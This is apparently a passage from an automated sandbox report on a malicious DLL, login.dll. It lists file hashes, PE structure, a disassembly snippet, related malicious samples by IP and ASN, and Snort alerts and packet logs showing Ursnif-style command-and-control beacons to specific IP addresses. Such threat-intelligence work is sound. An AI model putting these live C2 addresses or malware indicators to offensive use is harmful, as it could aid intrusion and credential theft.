                  https://residentshove.com/watch.1637828231856?shu=e3975f128497db17d46c9e477ea3877c074a27ede55b07b5806dc9d4a0f1dc3cdd29efcdbb1e8c74ac351d0e09b7375ca41dc258fb9f5e9ebab47973836dfab2cd32fced52378b3834e66e964e690daeafbc02c875fc8b66b27127bc912667d3&pst=1675584956&rmtc=t&uuid=28128298-e01f-4bd1-8add-2b7987b145d3:3:1&pii=&in=false&key=b3cbedc3153259c38733a80008471667&refer=https://mapdatabaseinfo.blogspot.com/2016/03/34-cape-york-peninsula-map.html&kw=%5B%2234%22,%22cape%22,%22york%22,%22peninsula%22,%22map%22,%22-%22,%22maps%22,%22database%22,%22source%22%5D&tz=10&dev=r&res=12.31?shu=e3975f128497db17d46c9e477ea3877c074a27ede55b07b5806dc9d4a0f1dc3cdd29efcdbb1e8c74ac351d0e09b7375ca41dc258fb9f5e9ebab47973836dfab2cd32fced52378b3834e66e964e690daeafbc02c875fc8b66b27127bc912667d3&pst=1675584956&rmtc=t&uuid=28128298-e01f-4bd1-8add-2b7987b145d3:3:1&pii=&in=false&key=b3cbedc3153259c38733a80008471667&refer=https://mapdatabaseinfo.blogspot.com/2016/03/34-cape-york-peninsula-map.html&kw=%5B%2234%22,%22cape%22,%22york%22,%22peninsula%22,%22map%22,%22-%22,%22maps%22,%22database%22,%22source%22%5D&tz=10&dev=r&res=12.31Get hashmaliciousBrowse
                  • 178.79.225.0
                  IkklP6KLEX.exeGet hashmaliciousBrowse
                  • 178.79.242.0
                  file.exeGet hashmaliciousBrowse
                  • 178.79.225.0
                  file.exeGet hashmaliciousBrowse
                  • 95.140.236.0
                  CEE3B627AF34BF85E8A9AEF6E9ACEC4DCE49A9A6B8A9D.exeGet hashmaliciousBrowse
                  • 178.79.242.0
                  file.exeGet hashmaliciousBrowse
                  • 95.140.230.192
                  file.exeGet hashmaliciousBrowse
                  • 95.140.230.192
                  file.exeGet hashmaliciousBrowse
                  • 95.140.230.128

                  ASNs

                  MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                  SPACENET-ASInternetServiceProviderRUscarica.exeGet hashmaliciousBrowse
                  • 62.173.149.10
                  Invoice # W0005588 deposit receipt.exeGet hashmaliciousBrowse
                  • 62.173.139.250
                  scarica.exeGet hashmaliciousBrowse
                  • 62.173.149.10
                  o6pnVuCxNM.elfGet hashmaliciousBrowse
                  • 85.93.137.159
                  Generale_Informazione.exeGet hashmaliciousBrowse
                  • 62.173.147.43
                  Informazion.exeGet hashmaliciousBrowse
                  • 62.173.140.150
                  Informazion.exeGet hashmaliciousBrowse
                  • 62.173.140.150
                  informazione_unpacked.bin.exeGet hashmaliciousBrowse
                  • 62.173.140.150
                  Informazion.exeGet hashmaliciousBrowse
                  • 62.173.140.150
                  file.exeGet hashmaliciousBrowse
                  • 185.31.160.74
                  Informazion.exeGet hashmaliciousBrowse
                  • 62.173.149.202
                  entrat_unpacked.bin.exeGet hashmaliciousBrowse
                  • 62.173.138.234
                  rW5F8Dsd1j.exeGet hashmaliciousBrowse
                  • 62.173.138.234
                  entrat.exeGet hashmaliciousBrowse
                  • 62.173.138.234
                  6pt4ZAbbAV.exeGet hashmaliciousBrowse
                  • 62.173.138.160
                  finanz.exeGet hashmaliciousBrowse
                  • 62.173.138.160
                  finanz.exeGet hashmaliciousBrowse
                  • 62.173.138.160
                  entrat.exeGet hashmaliciousBrowse
                  • 62.173.145.223
                  entrat.exeGet hashmaliciousBrowse
                  • 62.173.145.223
                  ASRELINKRUGenerale_Informazione.exeGet hashmaliciousBrowse
                  • 31.41.44.157
                  Informazion.exeGet hashmaliciousBrowse
                  • 31.41.44.179
                  Informazion.exeGet hashmaliciousBrowse
                  • 31.41.44.179
                  informazione_unpacked.bin.exeGet hashmaliciousBrowse
                  • 31.41.44.179
                  Informazion.exeGet hashmaliciousBrowse
                  • 31.41.44.179
                  Informazion.exeGet hashmaliciousBrowse
                  • 31.41.44.158
                  entrat_unpacked.bin.exeGet hashmaliciousBrowse
                  • 31.41.44.112
                  entrat.exeGet hashmaliciousBrowse
                  • 31.41.44.112
                  6pt4ZAbbAV.exeGet hashmaliciousBrowse
                  • 31.41.44.122
                  finanz.exeGet hashmaliciousBrowse
                  • 31.41.44.122
                  finanz.exeGet hashmaliciousBrowse
                  • 31.41.44.122
                  entrat.exeGet hashmaliciousBrowse
                  • 31.41.44.43
                  entrat.exeGet hashmaliciousBrowse
                  • 31.41.44.63
                  entrat.exeGet hashmaliciousBrowse
                  • 31.41.44.63
                  entrat.exeGet hashmaliciousBrowse
                  • 31.41.44.63
                  entrat.exeGet hashmaliciousBrowse
                  • 31.41.44.60
                  entrat.exeGet hashmaliciousBrowse
                  • 31.41.44.60
                  Ih5Ndh.dllGet hashmaliciousBrowse
                  • 31.41.44.51
                  registr.dllGet hashmaliciousBrowse
                  • 31.41.46.120

                  JA3 Fingerprints

                  ⊘No context

                  Dropped Files

                  ⊘No context

                  Created / dropped Files

                  ⊘No created / dropped files found

                  Static File Info

                  General

                  File type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                  Entropy (8bit):5.699805344522906
                  TrID:
                  • Win32 Dynamic Link Library (generic) (1002004/3) 99.40%
                  • Win16/32 Executable Delphi generic (2074/23) 0.21%
                  • Generic Win/DOS Executable (2004/3) 0.20%
                  • DOS Executable Generic (2002/1) 0.20%
                  • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                  File name:login.dll
                  File size:628736
                  MD5:34fe297ae7f34d3062cb6adb5363970a
                  SHA1:ab2c8edc316e5e55ce258bcc6f165ec9b7e92e28
                  SHA256:9cc3318cdf29c5b6a1c170facbd0e7849b674ecd2072d9741424709e0931f8cf
                  SHA512:8629116073b3c7cf6b700e9a3b577b31543a30584538e7d8fe63b78e62938976917c399f3e63f74cb003bd19458d860f74ed77ae3a11cc68f32b296c84bfb442
                  SSDEEP:6144:pYQoxugZKqxvBWqg+wyJzYH7nQYorovRQWDRSpPUeinhnBeY:kYqdBWOvNgorDWUUeinhnBt
                  TLSH:5FD450AAB9E5FF19C8778478D960F365D02A7C314246484AF3CB36117EB13EC6D42E29
                  File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...;^.R...........!................c.....................................................@..........................*..L..

                  File Icon

                  Icon Hash:71e4b6d46cf8cc13

                  Static PE Info

                  General

                  Entrypoint:0x1001ae63
                  Entrypoint Section:.text
                  Digitally signed:false
                  Imagebase:0x10000000
                  Subsystem:windows gui
                  Image File Characteristics:EXECUTABLE_IMAGE, 32BIT_MACHINE, DLL
                  DLL Characteristics:DYNAMIC_BASE, NX_COMPAT
                  Time Stamp:0x52ED5E3B [Sat Feb 1 20:51:07 2014 UTC]
                  TLS Callbacks:
                  CLR (.Net) Version:
                  OS Version Major:6
                  OS Version Minor:0
                  File Version Major:6
                  File Version Minor:0
                  Subsystem Version Major:6
                  Subsystem Version Minor:0
                  Import Hash:91d84abb2a106c8482be2981cbb80ded

                  Entrypoint Preview

                  Instruction
                  push ebp
                  mov ebp, esp
                  cmp dword ptr [ebp+0Ch], 01h
                  jne 00007FC9F8B37607h
                  call 00007FC9F8B379F9h
                  push dword ptr [ebp+10h]
                  push dword ptr [ebp+0Ch]
                  push dword ptr [ebp+08h]
                  call 00007FC9F8B374B3h
                  add esp, 0Ch
                  pop ebp
                  retn 000Ch
                  push ebp
                  mov ebp, esp
                  sub esp, 0Ch
                  lea ecx, dword ptr [ebp-0Ch]
                  call 00007FC9F8B36DBAh
                  push 10032460h
                  lea eax, dword ptr [ebp-0Ch]
                  push eax
                  call 00007FC9F8B37C64h
                  int3
                  push ebp
                  mov ebp, esp
                  sub esp, 0Ch
                  lea ecx, dword ptr [ebp-0Ch]
                  call 00007FC9F8B1ED74h
                  push 10031D5Ch
                  lea eax, dword ptr [ebp-0Ch]
                  push eax
                  call 00007FC9F8B37C47h
                  int3
                  push ebp
                  mov ebp, esp
                  and dword ptr [10042040h], 00000000h
                  sub esp, 24h
                  or dword ptr [1004157Ch], 01h
                  push 0000000Ah
                  call dword ptr [1002A090h]
                  test eax, eax
                  je 00007FC9F8B377AFh
                  and dword ptr [ebp-10h], 00000000h
                  xor eax, eax
                  push ebx
                  push esi
                  push edi
                  xor ecx, ecx
                  lea edi, dword ptr [ebp-24h]
                  push ebx
                  cpuid
                  mov esi, ebx
                  pop ebx
                  mov dword ptr [edi], eax
                  mov dword ptr [edi+04h], esi
                  mov dword ptr [edi+08h], ecx
                  xor ecx, ecx
                  mov dword ptr [edi+0Ch], edx
                  mov eax, dword ptr [ebp-24h]
                  mov edi, dword ptr [ebp-1Ch]
                  mov dword ptr [ebp-0Ch], eax
                  xor edi, 6C65746Eh
                  mov eax, dword ptr [ebp-18h]
                  xor eax, 49656E69h
                  mov dword ptr [ebp-08h], eax
                  mov eax, dword ptr [ebp-20h]
                  xor eax, 756E6547h
                  mov dword ptr [ebp-04h], eax

                  Data Directories

                  NameVirtual AddressVirtual Size Is in Section
                  IMAGE_DIRECTORY_ENTRY_EXPORT0x32aa00x4c.rdata
                  IMAGE_DIRECTORY_ENTRY_IMPORT0x32aec0x64.rdata
                  IMAGE_DIRECTORY_ENTRY_RESOURCE0x430000x577c4.rsrc
                  IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                  IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                  IMAGE_DIRECTORY_ENTRY_BASERELOC0x9b0000x2264.reloc
                  IMAGE_DIRECTORY_ENTRY_DEBUG0x3177c0x1c.rdata
                  IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                  IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                  IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                  IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x317980x40.rdata
                  IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                  IMAGE_DIRECTORY_ENTRY_IAT0x00x0
                  IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                  IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                  IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                  Sections

                  NameVirtual AddressVirtual SizeRaw SizeXored PEZLIB ComplexityFile TypeEntropyCharacteristics
                  .text0x10000x282cf0x28400False0.45420467779503104data6.192565941731592IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                  .rdata0x2a0000x93c80x9400False0.45280827702702703data5.530507978531817IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                  .data0x340000xea3c0xe000False0.8152901785714286data6.660577383256463IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                  .rsrc0x430000x577c40x57800False0.04984095982142857data4.297605636911828IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                  .reloc0x9b0000x22640x2400False0.7530381944444444data6.606333451306357IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                  Resources

                  NameRVASizeTypeLanguageCountry
                  AFX_DIALOG_LAYOUT0x433480x2dataRussianRussia
                  AFX_DIALOG_LAYOUT0x4334c0x2dataRussianRussia
                  RT_ICON0x433500x42028Device independent bitmap graphic, 256 x 512 x 32, image size 0
                  RT_ICON0x853780x10828Device independent bitmap graphic, 128 x 256 x 32, image size 0
                  RT_ICON0x95ba00x25a8Device independent bitmap graphic, 48 x 96 x 32, image size 0
                  RT_ICON0x981480x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 0
                  RT_ICON0x991f00x988Device independent bitmap graphic, 24 x 48 x 32, image size 0
                  RT_ICON0x99b780x468Device independent bitmap graphic, 16 x 32 x 32, image size 0
                  RT_DIALOG0x99fe00x78dataRussianRussia
                  RT_DIALOG0x9a0580x40dataRussianRussia
                  RT_GROUP_ICON0x9a0980x5adata
                  RT_VERSION0x9a0f40x398OpenPGP Public Key
                  RT_MANIFEST0x9a48c0x336XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (762), with CRLF line terminators

                  Imports

                  DLLImport
                  KERNEL32.dllFindNextFileA, SleepEx, ExitProcess, GetTickCount, GetSystemDirectoryA, FreeLibrary, GetProcAddress, LoadLibraryExA, GetCommandLineA, CreateDirectoryA, GetTickCount64, VirtualAlloc, GetCurrentDirectoryA, GetFileAttributesA, FindFirstFileA, GetCurrentThreadId, GetModuleHandleA, lstrcmpA, lstrcmpiA, lstrlenA, CloseHandle, CreateFileW, SetFilePointerEx, GetConsoleMode, GetConsoleOutputCP, FindClose, GetCurrentProcess, GetEnvironmentStrings, WriteFile, FlushFileBuffers, SetStdHandle, HeapReAlloc, HeapSize, IsProcessorFeaturePresent, IsDebuggerPresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStartupInfoW, GetModuleHandleW, QueryPerformanceCounter, GetCurrentProcessId, GetSystemTimeAsFileTime, InitializeSListHead, TerminateProcess, RaiseException, RtlUnwind, InterlockedFlushSList, GetLastError, SetLastError, EncodePointer, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, LoadLibraryExW, GetModuleHandleExW, GetModuleFileNameW, HeapAlloc, HeapFree, MultiByteToWideChar, LCMapStringW, MoveFileExW, DecodePointer, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, GetCommandLineW, WideCharToMultiByte, GetEnvironmentStringsW, FreeEnvironmentStringsW, GetProcessHeap, GetStdHandle, GetFileType, GetStringTypeW, WriteConsoleW
                  USER32.dllCloseWindow, DestroyWindow, PostQuitMessage, DefWindowProcA, SendMessageTimeoutA, CreateDialogParamA, FindWindowA
                  ADVAPI32.dllRegEnumKeyA, RegOpenKeyA
                  SHLWAPI.dllStrToIntA, PathAppendA, PathFileExistsW, PathFindSuffixArrayA

                  Exports

                  NameOrdinalAddress
                  DllRegisterServer10x10018380

                  Possible Origin

                  Language of compilation systemCountry where language is spokenMap
                  RussianRussia

                  Network Behavior

                  Snort IDS Alerts

                  TimestampProtocolSIDMessageSource PortDest PortSource IPDest IP
                  192.168.2.3185.31.160.19749700802033203 02/07/23-08:28:42.568213TCP2033203ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B)4970080192.168.2.3185.31.160.197
                  192.168.2.3185.31.160.19749698802033204 02/07/23-08:28:33.230644TCP2033204ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F)4969880192.168.2.3185.31.160.197
                  192.168.2.3185.31.160.19749698802033203 02/07/23-08:28:33.230644TCP2033203ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B)4969880192.168.2.3185.31.160.197
                  192.168.2.3194.116.163.13049708802033203 02/07/23-08:29:22.880195TCP2033203ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B)4970880192.168.2.3194.116.163.130
                  192.168.2.3185.31.160.19749710802033204 02/07/23-08:30:54.764009TCP2033204ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F)4971080192.168.2.3185.31.160.197
                  192.168.2.3185.31.160.19749710802033203 02/07/23-08:30:54.764009TCP2033203ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B)4971080192.168.2.3185.31.160.197
                  192.168.2.331.41.44.7649703802033203 02/07/23-08:28:54.657052TCP2033203ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B)4970380192.168.2.331.41.44.76
                  192.168.2.3185.31.160.19749701802033203 02/07/23-08:28:49.502613TCP2033203ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B)4970180192.168.2.3185.31.160.197
                  192.168.2.3185.31.160.19749701802033204 02/07/23-08:28:49.502613TCP2033204ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F)4970180192.168.2.3185.31.160.197
                  192.168.2.331.41.44.7649702802033204 02/07/23-08:28:53.381020TCP2033204ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F)4970280192.168.2.331.41.44.76
                  192.168.2.3194.116.163.13049709802033203 02/07/23-08:29:29.813831TCP2033203ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B)4970980192.168.2.3194.116.163.130
                  192.168.2.3185.31.160.19749711802033203 02/07/23-08:30:55.036359TCP2033203ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B)4971180192.168.2.3185.31.160.197
                  192.168.2.331.41.44.7649702802033203 02/07/23-08:28:53.381020TCP2033203ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B)4970280192.168.2.331.41.44.76
                  192.168.2.3194.116.163.13049706802033203 02/07/23-08:29:13.527448TCP2033203ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B)4970680192.168.2.3194.116.163.130
                  192.168.2.3185.31.160.19749699802033203 02/07/23-08:28:34.491511TCP2033203ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B)4969980192.168.2.3185.31.160.197
                  192.168.2.3185.31.160.19749699802033204 02/07/23-08:28:34.491511TCP2033204ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F)4969980192.168.2.3185.31.160.197
                  192.168.2.331.41.44.7649705802033203 02/07/23-08:29:09.669739TCP2033203ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B)4970580192.168.2.331.41.44.76
                  192.168.2.331.41.44.7649705802033204 02/07/23-08:29:09.669739TCP2033204ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F)4970580192.168.2.331.41.44.76
                  192.168.2.3185.31.160.19749712802033203 02/07/23-08:31:04.384827TCP2033203ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B)4971280192.168.2.3185.31.160.197
                  192.168.2.331.41.44.7649704802033203 02/07/23-08:29:02.729134TCP2033203ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B)4970480192.168.2.331.41.44.76
                  192.168.2.331.41.44.7649704802033204 02/07/23-08:29:02.729134TCP2033204ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F)4970480192.168.2.331.41.44.76

                  Network Port Distribution

                  TCP Packets

                  TimestampSource PortDest PortSource IPDest IP
                  Feb 7, 2023 08:39:32.504076004 CET4969880192.168.2.3185.31.160.197
                  Feb 7, 2023 08:39:32.564358950 CET8049698185.31.160.197192.168.2.3
                  Feb 7, 2023 08:39:32.564547062 CET4969880192.168.2.3185.31.160.197
                  Feb 7, 2023 08:39:32.565171957 CET4969880192.168.2.3185.31.160.197
                  Feb 7, 2023 08:39:32.624881029 CET8049698185.31.160.197192.168.2.3
                  Feb 7, 2023 08:39:32.625298023 CET8049698185.31.160.197192.168.2.3
                  Feb 7, 2023 08:39:32.625399113 CET4969880192.168.2.3185.31.160.197
                  Feb 7, 2023 08:39:32.627377987 CET4969880192.168.2.3185.31.160.197
                  Feb 7, 2023 08:39:32.687236071 CET8049698185.31.160.197192.168.2.3
                  Feb 7, 2023 08:39:37.142386913 CET4969980192.168.2.3185.31.160.197
                  Feb 7, 2023 08:39:37.206043005 CET8049699185.31.160.197192.168.2.3
                  Feb 7, 2023 08:39:37.206202030 CET4969980192.168.2.3185.31.160.197
                  Feb 7, 2023 08:39:37.206727028 CET4969980192.168.2.3185.31.160.197
                  Feb 7, 2023 08:39:37.270009041 CET8049699185.31.160.197192.168.2.3
                  Feb 7, 2023 08:39:37.270225048 CET8049699185.31.160.197192.168.2.3
                  Feb 7, 2023 08:39:37.270287991 CET4969980192.168.2.3185.31.160.197
                  Feb 7, 2023 08:39:37.270780087 CET4969980192.168.2.3185.31.160.197
                  Feb 7, 2023 08:39:37.333524942 CET8049699185.31.160.197192.168.2.3
                  Feb 7, 2023 08:39:37.897576094 CET4970080192.168.2.3185.31.160.197
                  Feb 7, 2023 08:39:37.961131096 CET8049700185.31.160.197192.168.2.3
                  Feb 7, 2023 08:39:37.965353012 CET4970080192.168.2.3185.31.160.197
                  Feb 7, 2023 08:39:37.966114044 CET4970080192.168.2.3185.31.160.197
                  Feb 7, 2023 08:39:38.029103041 CET8049700185.31.160.197192.168.2.3
                  Feb 7, 2023 08:39:38.029162884 CET8049700185.31.160.197192.168.2.3
                  Feb 7, 2023 08:39:38.029391050 CET4970080192.168.2.3185.31.160.197
                  Feb 7, 2023 08:39:38.029552937 CET4970080192.168.2.3185.31.160.197
                  Feb 7, 2023 08:39:38.092583895 CET8049700185.31.160.197192.168.2.3
                  Feb 7, 2023 08:39:44.354232073 CET4970180192.168.2.3185.31.160.197
                  Feb 7, 2023 08:39:44.419514894 CET8049701185.31.160.197192.168.2.3
                  Feb 7, 2023 08:39:44.419689894 CET4970180192.168.2.3185.31.160.197
                  Feb 7, 2023 08:39:44.420244932 CET4970180192.168.2.3185.31.160.197
                  Feb 7, 2023 08:39:44.483617067 CET8049701185.31.160.197192.168.2.3
                  Feb 7, 2023 08:39:44.483669996 CET8049701185.31.160.197192.168.2.3
                  Feb 7, 2023 08:39:44.483937025 CET4970180192.168.2.3185.31.160.197
                  Feb 7, 2023 08:39:44.484070063 CET4970180192.168.2.3185.31.160.197
                  Feb 7, 2023 08:39:44.547068119 CET8049701185.31.160.197192.168.2.3
                  Feb 7, 2023 08:39:53.211472988 CET4970280192.168.2.331.41.44.76
                  Feb 7, 2023 08:39:53.277498960 CET804970231.41.44.76192.168.2.3
                  Feb 7, 2023 08:39:53.277667046 CET4970280192.168.2.331.41.44.76
                  Feb 7, 2023 08:39:53.280822992 CET4970280192.168.2.331.41.44.76
                  Feb 7, 2023 08:39:53.345477104 CET804970231.41.44.76192.168.2.3
                  Feb 7, 2023 08:39:53.345925093 CET804970231.41.44.76192.168.2.3
                  Feb 7, 2023 08:39:53.346015930 CET4970280192.168.2.331.41.44.76
                  Feb 7, 2023 08:39:53.346138954 CET4970280192.168.2.331.41.44.76
                  Feb 7, 2023 08:39:53.659459114 CET4970280192.168.2.331.41.44.76
                  Feb 7, 2023 08:39:53.726149082 CET804970231.41.44.76192.168.2.3
                  Feb 7, 2023 08:39:57.292119026 CET4970380192.168.2.331.41.44.76
                  Feb 7, 2023 08:39:57.361722946 CET804970331.41.44.76192.168.2.3
                  Feb 7, 2023 08:39:57.361831903 CET4970380192.168.2.331.41.44.76
                  Feb 7, 2023 08:39:57.373197079 CET4970380192.168.2.331.41.44.76
                  Feb 7, 2023 08:39:57.442517042 CET804970331.41.44.76192.168.2.3
                  Feb 7, 2023 08:39:57.443113089 CET804970331.41.44.76192.168.2.3
                  Feb 7, 2023 08:39:57.443197966 CET4970380192.168.2.331.41.44.76
                  Feb 7, 2023 08:39:57.444499969 CET4970380192.168.2.331.41.44.76
                  Feb 7, 2023 08:39:57.513154030 CET804970331.41.44.76192.168.2.3
                  Feb 7, 2023 08:39:58.059434891 CET4970480192.168.2.331.41.44.76
                  Feb 7, 2023 08:39:58.125212908 CET804970431.41.44.76192.168.2.3
                  Feb 7, 2023 08:39:58.128659964 CET4970480192.168.2.331.41.44.76
                  Feb 7, 2023 08:39:58.132468939 CET4970480192.168.2.331.41.44.76
                  Feb 7, 2023 08:39:58.198461056 CET804970431.41.44.76192.168.2.3
                  Feb 7, 2023 08:39:58.198510885 CET804970431.41.44.76192.168.2.3
                  Feb 7, 2023 08:39:58.198663950 CET4970480192.168.2.331.41.44.76
                  Feb 7, 2023 08:39:58.198736906 CET4970480192.168.2.331.41.44.76
                  Feb 7, 2023 08:39:58.503766060 CET4970480192.168.2.331.41.44.76
                  Feb 7, 2023 08:39:58.569591045 CET804970431.41.44.76192.168.2.3
                  Feb 7, 2023 08:40:04.517389059 CET4970580192.168.2.331.41.44.76
                  Feb 7, 2023 08:40:04.586199045 CET804970531.41.44.76192.168.2.3
                  Feb 7, 2023 08:40:04.587174892 CET4970580192.168.2.331.41.44.76
                  Feb 7, 2023 08:40:04.587518930 CET4970580192.168.2.331.41.44.76
                  Feb 7, 2023 08:40:04.655719995 CET804970531.41.44.76192.168.2.3
                  Feb 7, 2023 08:40:04.656438112 CET804970531.41.44.76192.168.2.3
                  Feb 7, 2023 08:40:04.656641006 CET4970580192.168.2.331.41.44.76
                  Feb 7, 2023 08:40:04.656759024 CET4970580192.168.2.331.41.44.76
                  Feb 7, 2023 08:40:04.957334042 CET4970580192.168.2.331.41.44.76
                  Feb 7, 2023 08:40:05.025788069 CET804970531.41.44.76192.168.2.3
                  Feb 7, 2023 08:40:13.377217054 CET4970680192.168.2.3194.116.163.130
                  Feb 7, 2023 08:40:13.440916061 CET8049706194.116.163.130192.168.2.3
                  Feb 7, 2023 08:40:13.441137075 CET4970680192.168.2.3194.116.163.130
                  Feb 7, 2023 08:40:13.441427946 CET4970680192.168.2.3194.116.163.130
                  Feb 7, 2023 08:40:13.506047010 CET8049706194.116.163.130192.168.2.3
                  Feb 7, 2023 08:40:13.506112099 CET8049706194.116.163.130192.168.2.3
                  Feb 7, 2023 08:40:13.506316900 CET4970680192.168.2.3194.116.163.130
                  Feb 7, 2023 08:40:13.509288073 CET4970680192.168.2.3194.116.163.130
                  Feb 7, 2023 08:40:13.574043989 CET8049706194.116.163.130192.168.2.3
                  Feb 7, 2023 08:40:17.465573072 CET4970780192.168.2.3194.116.163.130
                  Feb 7, 2023 08:40:17.528186083 CET8049707194.116.163.130192.168.2.3
                  Feb 7, 2023 08:40:17.528357029 CET4970780192.168.2.3194.116.163.130
                  Feb 7, 2023 08:40:17.528676033 CET4970780192.168.2.3194.116.163.130
                  Feb 7, 2023 08:40:17.590445042 CET8049707194.116.163.130192.168.2.3
                  Feb 7, 2023 08:40:17.590589046 CET8049707194.116.163.130192.168.2.3
                  Feb 7, 2023 08:40:17.590768099 CET4970780192.168.2.3194.116.163.130
                  Feb 7, 2023 08:40:17.590945959 CET4970780192.168.2.3194.116.163.130
                  Feb 7, 2023 08:40:17.652760983 CET8049707194.116.163.130192.168.2.3
                  Feb 7, 2023 08:40:18.215612888 CET4970880192.168.2.3194.116.163.130
                  Feb 7, 2023 08:40:18.277894974 CET8049708194.116.163.130192.168.2.3
                  Feb 7, 2023 08:40:18.278028011 CET4970880192.168.2.3194.116.163.130
                  Feb 7, 2023 08:40:18.278336048 CET4970880192.168.2.3194.116.163.130
                  Feb 7, 2023 08:40:18.340053082 CET8049708194.116.163.130192.168.2.3
                  Feb 7, 2023 08:40:18.340146065 CET8049708194.116.163.130192.168.2.3
                  Feb 7, 2023 08:40:18.340280056 CET4970880192.168.2.3194.116.163.130
                  Feb 7, 2023 08:40:18.340348959 CET4970880192.168.2.3194.116.163.130
                  Feb 7, 2023 08:40:18.645932913 CET4970880192.168.2.3194.116.163.130
                  Feb 7, 2023 08:40:18.708781958 CET8049708194.116.163.130192.168.2.3
                  Feb 7, 2023 08:40:24.685437918 CET4970980192.168.2.3194.116.163.130
                  Feb 7, 2023 08:40:24.747816086 CET8049709194.116.163.130192.168.2.3
                  Feb 7, 2023 08:40:24.747944117 CET4970980192.168.2.3194.116.163.130
                  Feb 7, 2023 08:40:24.748349905 CET4970980192.168.2.3194.116.163.130
                  Feb 7, 2023 08:40:24.811409950 CET8049709194.116.163.130192.168.2.3
                  Feb 7, 2023 08:40:24.811650991 CET8049709194.116.163.130192.168.2.3
                  Feb 7, 2023 08:40:24.811731100 CET4970980192.168.2.3194.116.163.130
                  Feb 7, 2023 08:40:24.812589884 CET4970980192.168.2.3194.116.163.130
                  Feb 7, 2023 08:40:24.874598980 CET8049709194.116.163.130192.168.2.3

                  UDP Packets

                  TimestampSource PortDest PortSource IPDest IP
                  Feb 7, 2023 08:38:12.322541952 CET6270453192.168.2.38.8.8.8
                  Feb 7, 2023 08:38:12.344989061 CET53627048.8.8.8192.168.2.3
                  Feb 7, 2023 08:38:16.560918093 CET4997753192.168.2.38.8.8.8
                  Feb 7, 2023 08:38:16.580974102 CET53499778.8.8.8192.168.2.3
                  Feb 7, 2023 08:38:16.780323029 CET5784053192.168.2.38.8.8.8
                  Feb 7, 2023 08:38:16.801222086 CET53578408.8.8.8192.168.2.3
                  Feb 7, 2023 08:38:24.174410105 CET5799053192.168.2.38.8.8.8
                  Feb 7, 2023 08:38:24.197722912 CET53579908.8.8.8192.168.2.3
                  Feb 7, 2023 08:40:33.541255951 CET5238753192.168.2.38.8.8.8
                  Feb 7, 2023 08:40:33.593959093 CET53523878.8.8.8192.168.2.3
                  Feb 7, 2023 08:40:37.614136934 CET5692453192.168.2.38.8.8.8
                  Feb 7, 2023 08:40:37.641227961 CET53569248.8.8.8192.168.2.3
                  Feb 7, 2023 08:40:38.379545927 CET6062553192.168.2.38.8.8.8
                  Feb 7, 2023 08:40:38.407715082 CET53606258.8.8.8192.168.2.3
                  Feb 7, 2023 08:40:44.880188942 CET4930253192.168.2.38.8.8.8
                  Feb 7, 2023 08:40:44.898555040 CET53493028.8.8.8192.168.2.3

                  DNS Queries

                  TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                  Feb 7, 2023 08:38:12.322541952 CET192.168.2.38.8.8.80x7edaStandard query (0)checklist.skype.comA (IP address)IN (0x0001)false
                  Feb 7, 2023 08:38:16.560918093 CET192.168.2.38.8.8.80x5b15Standard query (0)checklist.skype.comA (IP address)IN (0x0001)false
                  Feb 7, 2023 08:38:16.780323029 CET192.168.2.38.8.8.80x996aStandard query (0)checklist.skype.comA (IP address)IN (0x0001)false
                  Feb 7, 2023 08:38:24.174410105 CET192.168.2.38.8.8.80x4d89Standard query (0)checklist.skype.comA (IP address)IN (0x0001)false
